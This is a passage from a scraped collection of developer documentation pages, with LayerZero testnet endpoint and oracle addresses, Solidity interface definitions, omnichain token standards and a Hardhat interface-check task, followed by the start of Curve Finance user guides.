Official Endpoint Addresses (TESTNET) Note: chainId values are not related to EVM IDs. Since LayerZero will span EVM & non-EVM chains the chainId are proprietary to our Endpoints. These are the addresses of the contracts on which you would call send() By the way, if you want to go straight to mainnet , look no further. Goerli (Ethereum Testnet) chainId : 10121 endpoint : 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23 BNB Chain (Testnet) chainId : 10102 endpoint : 0x6Fcb97553D41516Cb228ac03FdC8B9a0a9df04A1 Fuji (Avalanche Testnet) chainId : 10106 endpoint : 0x93f54D755A063cE7bB9e6Ac47Eccc8e33411d706 Aptos (Testnet) chainId : 10108 endpoint : 0x1759cc0d3161f1eb79f65847d4feb9d1f74fb79014698a23b16b28b9cd4c37e3 Mumbai (Polygon Testnet) chainId : 10109 endpoint : 0xf69186dfBa60DdB133E91E9A4B5673624293d8F8 Fantom (Testnet) chainId : 10112 endpoint : 0x7dcAD72640F835B0FA36EFD3D6d3ec902C7E5acf Arbitrum-Goerli (Testnet) chainId : 10143 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Optimism-Goerli (Testnet) chainId : 10132 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Harmony (Testnet) chainId : 10133 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Moonbeam (Testnet) chainId : 10126 endpoint : 0xb23b28012ee92E8dE39DEb57Af31722223034747 Celo (Testnet) chainId : 10125 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Dexalot (Testnet) chainId : 10118 endpoint : 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Portal Fantasy (Testnet) chainId : 10128 endpoint : 0xd682ECF100f6F4284138AA925348633B0611Ae21 Klaytn (Testnet) chainId : 10150 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Metis (Testnet) chainId : 10151 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 CoreDao (Testnet) chainId : 10153 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Gnosis (Testnet) chainId : 10145 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 zkSync (Testnet) chainId : 10165 endpoint : 0x093D2CF57f764f09C3c2Ac58a42A2601B8C79281 OKX (Testnet) chainId : 10155 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Base (Testnet) chainId : 10160 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Meter (Testnet) chainId : 10156 endpoint : 0x3De2f3D1Ac59F18159ebCB422322Cb209BA96aAD Linea (ConsenSys zkEVM - Testnet) chainId : 10157 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab DOS (Testnet) chainId : 10162 endpoint : 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Sepolia (Testnet) chainId : 10161 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Polygon zkEVM (Testnet) chainId : 10158 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Scroll (Testnet) chainId : 10170 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Tenet (Testnet) chainId : 10173 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Canto (Testnet) chainId : 10159 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Kava (Testnet) chainId : 10172 endpoint : 0x8b14D287B4150Ff22Ac73DF8BE720e933f659abc Orderly (Testnet - opstack) chainId : 10200 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 BlockGen (Testnet) chainId : 10177 endpoint : 0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8 MeritCircle (Testnet) chainId : 10178 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Mantle (Testnet) chainId : 10181 endpoint : 0x2cA20802fd1Fd9649bA8Aa7E50F0C82b479f35fe Hubble (Testnet) chainId : 10182 endpoint : 0x8b14D287B4150Ff22Ac73DF8BE720e933f659abc Aavegotchi (Testnet) chainId : 10191 endpoint : 0xfeBE4c839EFA9f506C092a32fD0BB546B76A1d38 Loot (Testnet) chainId : 10197 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Telos (Testnet) chainId : 10199 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Zora (Testnet) chainId : 10195 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Tomo (Testnet) chainId : 10196 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 opBNB (Testnet) chainId : 10202 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Shimmer (Testnet) chainId : 10203 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Aurora (Testnet) chainId : 10201 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Lif3 (Testnet) chainId : 10205 endpoint : 0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8 Technical Reference - Previous Testnet Next Default Config Last modified 26d ago", "labels": ["Documentation"]}, {"title": "zkLightClient Addresses", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient/zklightclient-addresses", "body": "zkLightClient Addresses Contract Addresses to use zkLightClient with LayerZero To use the Polyhedra zkLightClient with your LayerZero UserApplication, configure your app with the oracle addresses below. zkLightClient Addresses (Mainnets) Ethereum 0x394ee343625B83B5778d6F42d35142bdf26dBAcD BNB Smart Chain 0x76ce31EfB81a013b609CeeF1Cc4F4E5aEeA70B7f Polygon 0x9D88a2f4253b106A1F8e169485490f7230b4276e CoreDAO: 0x6590C7e65EEC453a78199B0bE418dF7291DF9039 Avalanche 0xD59DdbF4c0E1ed3debD2f7afFc1fA9dEF198A652 Fantom 0x7cE1fab01F3cd7253731a9e11180d49ac960285C Optimism 0x40b237EDdb5B851C60630446ca120A1D5c7B6253 Arbitrum One 0x2274D83ed2B4c1fCd6C1CCBF9b734F7e436DfD44 Moonbeam0xE04E090a49aE0AF87583B808B05d2dc8c4d1E712 Gnosis Chain 0xFd1fabb34c4D6B5D30a1bFE2Fa76Cc15206fb368 Metis 0x057DCB38db5350Db12DCD94428c303D523f72153 Arbitrum Nova 0xD2C51b14cA69D7E557719A8534e1c5514f28DB3b zkLightClient Addresses (Testnets) Ethereum Goerli Testnet: 0x55d193eF196Be455c9c178b0984d7F9cE750CCb4 BNB Smart Chain Testnet: 0x2C41853Ed4681A39c89c61Cdeb8c155561391215 Avalanche Fuji Testnet: 0x8517BA5E3eda338d9707a7B4a36033331e3d3B00 Optimism Goerli Testnet: 0x1853f53Aa7d9f6aF8537833c4255f928ab8F9D61 Arbitrum Goerli Testnet: 0xbFB5FEE3DCf2aF08F9f7a05049806fBC2E72A702 Previous zkLightClient on LayerZero Next - Technical Reference Testnet Last modified 16d ago", "labels": ["Documentation"]}, {"title": "zkLightClient on LayerZero", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient/zklightclient-on-layerzero", "body": "zkLightClient on LayerZero Integrating Polyhedra zkLightClient technology into LayerZero LayerZero is an omnichain interoperability protocol that enables cross-chain messaging. Applications built using blockchain technology (decentralized applications) can use the LayerZero protocol to connect to 30+ supported blockchains seamlessly. This allows dApp users to interact securely and efficiently with assets across chains. Polyhedra's zkLightClient technology is fully integrated with LayerZero's messaging protocol, so application developers can use zero-knowledge-proof technology without barriers. Developers can easily build cross-chain applications on top of LayerZero through its extensive developer tooling and community support. Incorporating Polyhedra zkLightClient technology into Layerzero Network LayerZero's ULNv2 validation library relies on two parties, the Oracle and Relayer, to transfer messages between on-chain endpoints. When LayerZero sends a message from chain A to chain B, the message is routed through the endpoint on chain A to the ULNv2 validation library. The ULNv2 library notifies the Oracle and Relayer of the message and its destination chain. The Oracle forwards the packet hash to the endpoint on chain B, and the Relayer submits the packet to be verified on-chain against the hash and delivers the message. On-chain light clients allow for the source chain's validator set to attest to something that occurred on their chain to a destination chain. In conjunction with other libraries, light clients add a layer of security on top of the LayerZero messaging protocol. On-chain transaction verification has been cost-prohibitive to the tune of $50m-$100m/day per pair-wise chain connected to Ethereum due to the presence of extensive transaction logs, which are necessary for the proof but not for the application itself. Polyhedra's zkLightClient technology, built on LayerZero, harnesses the compression of ZKP technology and reduces the on-chain verification tremendously with lower latency by using efficient ZKP protocols. In addition, multiple transaction verifications can be batched into a single zero-knowledge proof. Previous Overview of Polyhedra zkLightClient Next zkLightClient Addresses Last modified 15d ago", "labels": ["Documentation"]}, {"title": "ILayerZeroEndpoint", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzeroendpoint", "body": "ILayerZeroEndpoint // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; import \"./ILayerZeroUserApplicationConfig.sol\" ; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send ( uint16 _dstChainId , bytes calldata _destination , bytes calldata _payload , address payable _refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload ( uint16 _srcChainId , bytes calldata _srcAddress , address _dstAddress , uint64 _nonce , uint _gasLimit , bytes calldata _payload ) external ; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce ( uint16 _srcChainId , bytes calldata _srcAddress ) external view returns ( uint64 ); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce ( uint16 _dstChainId , address _srcAddress ) external view returns ( uint64 ); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees ( uint16 _dstChainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParam ) external view returns ( uint nativeFee , uint zroFee ); // @notice get this Endpoint's immutable source identifier function getChainId () external view returns ( uint16 ); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload ( uint16 _srcChainId , bytes calldata _srcAddress , bytes calldata _payload ) external ; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload ( uint16 _srcChainId , bytes calldata _srcAddress ) external view returns ( bool ); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress ( address _userApplication ) external view returns ( address ); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress ( address _userApplication ) external view returns ( address ); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload () external view returns ( bool ); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload () external view returns ( bool ); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig ( uint16 _version , uint16 _chainId , address _userApplication , uint _configType ) external view returns ( bytes memory ); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion ( address _userApplication ) external view returns ( uint16 ); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion ( address _userApplication ) external view returns ( uint16 ); } Previous ILayerZeroReceiver Next ILayerZeroMessagingLibrary Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "ILayerZeroMessagingLibrary", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzeromessaginglibrary", "body": "ILayerZeroMessagingLibrary // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; import \"./ILayerZeroUserApplicationConfig.sol\" ; interface ILayerZeroMessagingLibrary { // send(), messages will be inflight. function send ( address _userApplication , uint64 _lastNonce , uint16 _chainId , bytes calldata _destination , bytes calldata _payload , address payable refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; // estimate native fee at the send side function estimateFees ( uint16 _chainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParam ) external view returns ( uint nativeFee , uint zroFee ); //--------------------------------------------------------------------------- // setConfig / getConfig are User Application (UA) functions to specify Oracle, Relayer, blockConfirmations, libraryVersion function setConfig ( uint16 _chainId , address _userApplication , uint _configType , bytes calldata _config ) external ; function getConfig ( uint16 _chainId , address _userApplication , uint _configType ) external view returns ( bytes memory ); } Previous ILayerZeroEndpoint Next ILayerZeroUserApplicationConfig Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "ILayerZeroOracle.sol", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzerooracle.sol", "body": "ILayerZeroOracle.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; interface ILayerZeroOracle { // @notice query the oracle price for relaying block information to the destination chain // @param _dstChainId the destination endpoint identifier // @param _outboundProofType the proof type identifier to specify the data to be relayed function getPrice ( uint16 _dstChainId , uint16 _outboundProofType ) external view returns ( uint price ); // @notice Ultra-Light Node notifies the Oracle of a new block information relaying request // @param _dstChainId the destination endpoint identifier // @param _outboundProofType the proof type identifier to specify the data to be relayed // @param _outboundBlockConfirmations the number of source chain block confirmation needed function notifyOracle ( uint16 _dstChainId , uint16 _outboundProofType , uint64 _outboundBlockConfirmations ) external ; // @notice query if the address is an approved actor for privileges like data submission and fee withdrawal etc. // @param _address the address to be checked function isApproved ( address _address ) external view returns ( bool approved ); } Previous ILayerZeroUserApplicationConfig Next ILayerZeroRelayer.sol Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "ILayerZeroReceiver", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzeroreceiver", "body": "ILayerZeroReceiver For User Application contracts to receive messages! // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive ( uint16 _srcChainId , bytes calldata _srcAddress , uint64 _nonce , bytes calldata _payload ) external ; } This is a core interface for contract to implement so they can receive LayerZero messages! See the CounterMock example for usage Previous EVM (Solidity) Interfaces Next ILayerZeroEndpoint Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "ILayerZeroRelayer.sol", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzerorelayer.sol", "body": "ILayerZeroRelayer.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; interface ILayerZeroRelayer { // @notice query the relayer price for relaying the payload and its proof to the destination chain // @param _dstChainId - the destination endpoint identifier // @param _outboundProofType - the proof type identifier to specify proof to be relayed // @param _userApplication - the source sending contract address. relayers may apply price discrimination to user apps // @param _payloadSize - the length of the payload. it is an indicator of gas usage for relaying cross-chain messages // @param _adapterParams - optional parameters for extra service plugins, e.g. sending dust tokens at the destination chain function getPrice ( uint16 _dstChainId , uint16 _outboundProofType , address _userApplication , uint _payloadSize , bytes calldata _adapterParams ) external view returns ( uint price ); // @notice Ultra-Light Node notifies the Oracle of a new block information relaying request // @param _dstChainId - the destination endpoint identifier // @param _outboundProofType - the proof type identifier to specify the data to be relayed // @param _adapterParams - optional parameters for extra service plugins, e.g. sending dust tokens at the destination chain function notifyRelayer ( uint16 _dstChainId , uint16 _outboundProofType , bytes calldata _adapterParams ) external ; // @notice query if the address is an approved actor for privileges like data submission and fee withdrawal etc. // @param _address - the address to be checked function isApproved ( address _address ) external view returns ( bool approved ); } Previous ILayerZeroOracle.sol Next - EVM Guides Error Messages Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "ILayerZeroUserApplicationConfig", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces/ilayerzerouserapplicationconfig", "body": "ILayerZeroUserApplicationConfig ILayerZeroUserApplicationConfig.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig ( uint16 _version , uint16 _chainId , uint _configType , bytes calldata _config ) external ; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion ( uint16 _version ) external ; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion ( uint16 _version ) external ; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive ( uint16 _srcChainId , bytes calldata _srcAddress ) external ; } Previous ILayerZeroMessagingLibrary Next ILayerZeroOracle.sol Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "IERC165 OFT Interface Ids", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/ierc165-oft-interface-ids", "body": "IERC165 OFT Interface Ids Use these interface ids to determine which version of OFT is deployed. OFT(v1): 0x14e4ceea OFTV2: 0x1f7ecdf7 OFTWithFee: 0x6984a9e8 interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } Example Hardhat Task module . exports = async function ( taskArgs ) { const OFTInterfaceId = 0x14e4ceea ; const OFTV2InterfaceId = 0x1f7ecdf7 ; const OFTWithFeeInterfaceId = 0x6984a9e8 ; const ERC165ABI = [ \"function supportsInterface(bytes4) public view returns (bool)\" ]; try { const contract = await ethers . getContractAt ( ERC165ABI , taskArgs . address ); const isOFT = await contract . supportsInterface ( OFTInterfaceId ); const isOFTV2 = await contract . supportsInterface ( OFTV2InterfaceId ); const isOFTWithFee = await contract . supportsInterface ( OFTWithFeeInterfaceId ); if ( isOFT ) { console . log ( ` address: ${ taskArgs . address } is OFT(v1) ` ) } else if ( isOFTV2 ) { console . log ( ` address: ${ taskArgs . address } is OFTV2 ` ) } else if ( isOFTWithFee ) { console . log ( ` address: ${ taskArgs . address } is OFTWithFee ` ) } else { console . log ( ` address: ${ taskArgs . address } is not an OFT ` ) } } catch ( e ) { console . log ( \"supportsInterface not implemented\" ) } } Previous OFT Next OFT (V1) vs OFTV2 - Which should I use? Last modified 2mo ago", "labels": ["Documentation"]}, {"title": "OFT (V1)", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oft-v1", "body": "OFT (V1) Omnichain Fungible Token standard written to support EVM chains only. OFT.sol solidity-examples/OFT.sol at main LayerZero-Labs/solidity-examples GitHub Extensions ProxyOFT.sol Use this extension when you want to turn an already deployed ERC20 into an OFT. You can then deploy OFT contracts on the LayerZero supported chains of your choosing. When you want to transfer your OFT from the source chain the OFT will lock in the ProxyOFT and mint on the destination chain. When you come back to the ProxyOFT chain the OFT burns on the source chain and unlocks on the destination chain. solidity-examples/ProxyOFT.sol at main LayerZero-Labs/solidity-examples GitHub Previous OFT (V1) vs OFTV2 - Which should I use? Next OFTV2 Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "OFT (V1) vs OFTV2 - Which should I use?", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oft-v1-vs-oftv2-which-should-i-use", "body": "OFT (V1) vs OFTV2 - Which should I use? This page explains the differences between OFT/OFTV2 and when to use each one. When to use OFT (v1) Our Omnichain Fungible Token (OFT) was our first implementation of our standard. This OFT was first used in projects such as Stargate's token. The standard was written to support EVM chains only. If you are looking to only support EVMs now and forever then OFT (V1) is for you. When to use OFTV2 What if you want to build an Omnichain Fungible Token that supports EVMs and non EVMs (eg. Aptos)? In this case you should use our OFTV2 which supports both. This version has fees, shared decimals, and composability built in. This version of OFTV2 is currently being used in projects such as BTCb . What are the differences between the two versions? The main difference between the two versions comes from the limitations of the Non EVMs. Non EVM chains such as Aptos/Solana use Uint64 to represent balance. To account for this, OFTV2 uses Shared Decimals for value transfers to normalize the data type difference. It is recommended to use a smaller shared decimal point on all chains so that your token can have a larger balance. For example, if the decimal point is 18, then you can not have more than approximately 18 * 10^18 tokens bounded by the uint64.max. OFTV2 is intended to be used with no more than 10 shared decimals Previous IERC165 OFT Interface Ids Next OFT (V1) Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "OFTV2", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oftv2", "body": "OFTV2 Omnichain Fungible Token that supports both EVMs and non EVMs OFTV2.sol solidity-examples/OFTV2.sol at main LayerZero-Labs/solidity-examples GitHub Extensions ProxyOFTV2.sol Use this extension when you want to turn an already deployed ERC20 into an OFTV2. You can then deploy OFTV2 contracts on the LayerZero supported chains of your choosing. When you want to transfer your OFT from the source chain the OFT will lock in the ProxyOFTV2 and mint on the destination chain. When you come back to the ProxyOFTV2 chain the OFT burns on the source chain and unlocks on the destination chain. solidity-examples/ProxyOFTV2.sol at main LayerZero-Labs/solidity-examples GitHub Previous OFT (V1) Next ONFT Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "1155", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft/1155", "body": "1155 Omnichain NonFungible Token (ONFT1155) ONFT1155.sol solidity-examples/ONFT1155.sol at main LayerZero-Labs/solidity-examples GitHub Extensions ProxyONFT1155.sol Use this extension when you want to turn an already deployed ERC1155 into an ONFT1155. You can then deploy ONFT1155 contracts on the LayerZero supported chains of your choosing. When you want to transfer your ONFT1155 from the source chain the ONFT1155 will lock in the ProxyONFT1155 and mint on the destination chain. When you come back to the ProxyONFT1155 chain the ONFT1155 burns on the source chain and unlocks on the destination chain. solidity-examples/ProxyONFT1155.sol at main LayerZero-Labs/solidity-examples GitHub Previous 721 Next - EVM Guides LayerZero Integration Checklist Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "721", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft/721", "body": "721 Omnichain NonFungible Token (ONFT721) ONFT721.sol solidity-examples/ONFT721.sol at main LayerZero-Labs/solidity-examples GitHub Extensions ProxyONFT721.sol Use this extension when you want to turn an already deployed ERC721 into an ONFT721. You can then deploy ONFT contracts on the LayerZero supported chains of your choosing. When you want to transfer your ONFT from the source chain the ONFT will lock in the ProxyONFT721 and mint on the destination chain. When you come back to the ProxyONFT721 chain the ONFT locks on the source chain and unlocks on the destination chain. solidity-examples/ProxyONFT721.sol at main LayerZero-Labs/solidity-examples GitHub Previous ONFT Next 1155 Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "Home", "html_url": "https://resources.curve.fi/", "body": "Curve Resources CurveDocs/curve-resources Home Home Table of contents Welcome to Curve Finance Sections Useful links Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Welcome to Curve Finance Sections Useful links Home Welcome to Curve Finance Resources and guides to get started with Curve and the Curve DAO Curve's Logo, a colorized Klein Bottle Curve is DeFi's leading AMM , (Automated Market Maker). Hundreds of liquidity pools have been launched through Curve's factory and incentivized by Curve's DAO. Users rely on Curve's proprietary formulas to provide high liquidity, low slippage, and low fee transactions among ERC-20 tokens. Those resources aim to help new and existing users to become familiar with the Curve protocol , the Curve DAO , and the $CRV token . Sections Getting Started with Curve v1 and Curve v2 $CRV Token : Tokenomics, Staking, Claiming Fees Liquidity Providers : Curve Pools, MetaPools, Depositing Reward Gauges : Boosting, Gauge Weights Stablecoin : crvUSD, Soft Liquidation, Bands Governance : Vote Locking, Voting, Snapshot, Proposals Multichain : Bridging, Fantom, Polygon, etc. Creating Pools : Factory Pools, Crypto Factory Pools Troubleshooting : Cross-Asset Swaps, Wallets, Stuck Transactions Useful links Governance dashboard: http://dao.curve.fi/ Governance forum: https://gov.curve.fi/ Telegram: https://t.me/curvefi Twitter: https://twitter.com/curvefinance Discord: https://discord.gg/rgrfS7W Youtube Channel: http://www.youtube.com/c/CurveFinance Technical Docs: https://curve.readthedocs.io Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding crypto pools", "html_url": "https://resources.curve.fi/base-features/understanding-crypto-pools/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools Understanding crypto pools Table of contents Understanding Curve v2 Whitepaper Liquidity Providers Fees Risks $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Curve v2 Whitepaper Liquidity Providers Fees Risks Understanding crypto pools Understanding Curve v2 Crypto pools are Curve pools holding assets with different prices. Curve core originally was pegged assets but a new type of AMM allows for extremely efficient trading and low risks of non-pegged assets. Crypto pools use liquidity more effectively by concentrating it at current prices. As trades happen, the pool readjusts its internal price to the highest liquidity region without creating losses for the pool. Crypto pools also have variable fees which can range between 0.04% and 0.40%. Tricrypto , the first and main base pool has the following coins: USDT/WBTC/WETH for Ethereum. On Polygon, the first pool has AAVE tokens and can handle swaps with the following tokens: DAI/USDC/USDT/ETH/WBTC. Whitepaper Read the v2 whitepaper by clicking here . Liquidity Providers Becoming a liquidity provider in a Curve Crypto pool is in all ways similar to stable pools. You will gain exposure and risks to all assets in the pools. You can deposit one or all the coins in the pool. Always be sure to check the bonus/slippage warning box. Fees Fees on those pool range from 0.04% to 0.4%. The current fee varies based on how close the price is from the internal oracle. You can check a pool's current fee which changes every trade on the bottom of a pool page. Risks As with any liquidity providing in blockchain, there are some smart contract risks involved. Curve crypto pools have been audited by MixBytes and ChainSecurity but audits never eliminate risks completely. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding curve", "html_url": "https://resources.curve.fi/base-features/understanding-curve/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding curve Table of contents Understanding Curve v1 What is Curve.fi? What are liquidity pools? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward 